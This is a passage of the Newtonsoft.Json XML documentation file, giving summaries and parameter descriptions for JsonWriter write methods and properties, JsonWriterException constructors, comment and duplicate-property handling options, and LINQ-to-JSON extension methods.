asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.UInt16},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteUndefinedAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes an undefined value.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteWhitespaceAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the given white space.\n            </summary>\n            <param name=\"ws\">The string of white space characters.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.SetWriteStateAsync(Newtonsoft.Json.JsonToken,System.Object,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously ets the state of the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> being written.</param>\n            <param name=\"value\">The value being written.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\">\n            <summary>\n            Gets or sets a value indicating whether the destination should be closed when this writer is closed.\n            </summary>\n            <value>\n            <c>true</c> to close the destination when this writer is closed; otherwise <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\">\n            <summary>\n            Gets or sets a value indicating whether the JSON should be auto-completed when this writer is closed.\n            </summary>\n            <value>\n            <c>true</c> to auto-complete the JSON when this writer is closed; otherwise <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.Top\">\n            <summary>\n            Gets the top.\n            </summary>\n            <value>The top.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.WriteState\">\n            <summary>\n            Gets the state of the writer.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.Path\">\n            <summary>\n            Gets the path of the writer. \n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.Formatting\">\n            <summary>\n            Gets or sets a value indicating how JSON text output should be formatted.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.DateFormatHandling\">\n            <summary>\n            Gets or sets how dates are written to JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.DateTimeZoneHandling\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> time zones are handled when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.StringEscapeHandling\">\n            <summary>\n            Gets or sets how strings are escaped when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.FloatFormatHandling\">\n            <summary>\n            Gets or sets how special floating point numbers, e.g. <see cref=\"F:System.Double.NaN\"/>,\n            <see cref=\"F:System.Double.PositiveInfinity\"/> and <see cref=\"F:System.Double.NegativeInfinity\"/>,\n            are written to JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.DateFormatString\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> and <see cref=\"T:System.DateTimeOffset\"/> values are formatted when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.Culture\">\n            <summary>\n            Gets or sets the culture used when writing JSON. Defaults to <see cref=\"P:System.Globalization.CultureInfo.InvariantCulture\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.Flush\">\n            <summary>\n            Flushes whatever is in the buffer to the destination and also flushes the destination.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.Close\">\n            <summary>\n            Closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> is set to <c>true</c>, the destination is also closed.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\"/> is set to <c>true</c>, the JSON is auto-completed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartObject\">\n            <summary>\n            Writes the beginning of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndObject\">\n            <summary>\n            Writes the end of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartArray\">\n            <summary>\n            Writes the beginning of a JSON array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndArray\">\n            <summary>\n            Writes the end of an array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartConstructor(System.String)\">\n            <summary>\n            Writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndConstructor\">\n            <summary>\n            Writes the end constructor.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WritePropertyName(System.String)\">\n            <summary>\n            Writes the property name of a name/value pair of a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WritePropertyName(System.String,System.Boolean)\">\n            <summary>\n            Writes the property name of a name/value pair of a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n            <param name=\"escape\">A flag to indicate whether the text should be escaped when it is written as a JSON property name.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEnd\">\n            <summary>\n            Writes the end of the current JSON object or array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteToken(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Writes the current <see cref=\"T:Newtonsoft.Json.JsonReader\"/> token and its children.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read the token from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteToken(Newtonsoft.Json.JsonReader,System.Boolean)\">\n            <summary>\n            Writes the current <see cref=\"T:Newtonsoft.Json.JsonReader\"/> token.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read the token from.</param>\n            <param name=\"writeChildren\">A flag indicating whether the current token's children should be written.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteToken(Newtonsoft.Json.JsonToken,System.Object)\">\n            <summary>\n            Writes the <see cref=\"T:Newtonsoft.Json.JsonToken\"/> token and its value.\n            </summary>\n            <param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> to write.</param>\n            <param name=\"value\">\n            The value to write.\n            A value is only required for tokens that have an associated value, e.g. the <see cref=\"T:System.String\"/> property name for <see cref=\"F:Newtonsoft.Json.JsonToken.PropertyName\"/>.\n            <c>null</c> can be passed to the method for tokens that don't have a value, e.g. <see cref=\"F:Newtonsoft.Json.JsonToken.StartObject\"/>.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteToken(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the <see cref=\"T:Newtonsoft.Json.JsonToken\"/> token.\n            </summary>\n            <param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEnd(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the specified end token.\n            </summary>\n            <param name=\"token\">The end token to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteIndent\">\n            <summary>\n            Writes indent characters.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueDelimiter\">\n            <summary>\n            Writes the JSON value delimiter.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteIndentSpace\">\n            <summary>\n            Writes an indent space.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteNull\">\n            <summary>\n            Writes a null value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteUndefined\">\n            <summary>\n            Writes an undefined value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteRaw(System.String)\">\n            <summary>\n            Writes raw JSON without changing the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteRawValue(System.String)\">\n            <summary>\n            Writes raw JSON where a value is expected and updates the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.String)\">\n            <summary>\n            Writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Int32)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.UInt32)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Int64)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.UInt64)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Single)\">\n            <summary>\n            Writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Double)\">\n            <summary>\n            Writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Boolean)\">\n            <summary>\n            Writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Int16)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.UInt16)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Char)\">\n            <summary>\n            Writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Byte)\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.SByte)\">\n            <summary>\n            Writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Decimal)\">\n            <summary>\n            Writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.DateTime)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.DateTimeOffset)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Guid)\">\n            <summary>\n            Writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.TimeSpan)\">\n            <summary>\n            Writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Int32})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.UInt32})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Int64})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.UInt64})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Single})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Double})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Boolean})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Int16})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.UInt16})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Char})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Byte})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.SByte})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Decimal})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.DateTime})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.DateTimeOffset})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Guid})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.TimeSpan})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Uri)\">\n            <summary>\n            Writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Object)\">\n            <summary>\n            Writes a <see cref=\"T:System.Object\"/> value.\n            An error will raised if the value cannot be written as a single JSON token.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteComment(System.String)\">\n            <summary>\n            Writes a comment <c>/*...*/</c> containing the specified text.\n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteWhitespace(System.String)\">\n            <summary>\n            Writes the given white space.\n            </summary>\n            <param name=\"ws\">The string of white space characters.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.Dispose(System.Boolean)\">\n            <summary>\n            Releases unmanaged and - optionally - managed resources.\n            </summary>\n            <param name=\"disposing\"><c>true</c> to release both managed and unmanaged resources; <c>false</c> to release only unmanaged resources.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.SetWriteState(Newtonsoft.Json.JsonToken,System.Object)\">\n            <summary>\n            Sets the state of the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> being written.</param>\n            <param name=\"value\">The value being written.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonWriterException\">\n            <summary>\n            The exception thrown when an error occurs while writing JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriterException.Path\">\n            <summary>\n            Gets the path to the JSON where the error occurred.\n            </summary>\n            <value>The path to the JSON where the error occurred.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriterException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriterException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriterException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriterException.#ctor(System.String,System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class\n            with a specified error message, JSON path and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"path\">The path to the JSON where the error occurred.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.CommentHandling\">\n            <summary>\n            Specifies how JSON comments are handled when loading JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.CommentHandling.Ignore\">\n            <summary>\n            Ignore comments.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.CommentHandling.Load\">\n            <summary>\n            Load comments as a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> with type <see cref=\"F:Newtonsoft.Json.Linq.JTokenType.Comment\"/>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling\">\n            <summary>\n            Specifies how duplicate property names are handled when loading JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling.Replace\">\n            <summary>\n            Replace the existing value when there is a duplicate property. The value of the last property in the JSON object will be used.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling.Ignore\">\n            <summary>\n            Ignore the new value when there is a duplicate property. The value of the first property in the JSON object will be used.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling.Error\">\n            <summary>\n            Throw a <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> when a duplicate property is encountered.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.Extensions\">\n            <summary>\n            Contains the LINQ to JSON extension methods.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Ancestors``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of tokens that contains the ancestors of every token in the source collection.\n            </summary>\n            <typeparam name=\"T\">The type of the objects in source, constrained to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the ancestors of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.AncestorsAndSelf``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of tokens that contains every token in the source collection, and the ancestors of every token in the source collection.\n            </summary>\n            <typeparam name=\"T\">The type of the objects in source, constrained to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains every token in the source collection, the ancestors of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Descendants``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of tokens that contains the descendants of every token in the source collection.\n            </summary>\n            <typeparam name=\"T\">The type of the objects in source, constrained to <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/>.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the descendants of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.DescendantsAndSelf``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of tokens that contains every token in the source collection, and the descendants of every token in the source collection.\n            </summary>\n            <typeparam name=\"T\">The type of the objects in source, constrained to <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/>.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains every token in the source collection, and the descendants of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Properties(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JObject})\">\n            <summary>\n            Returns a collection of child 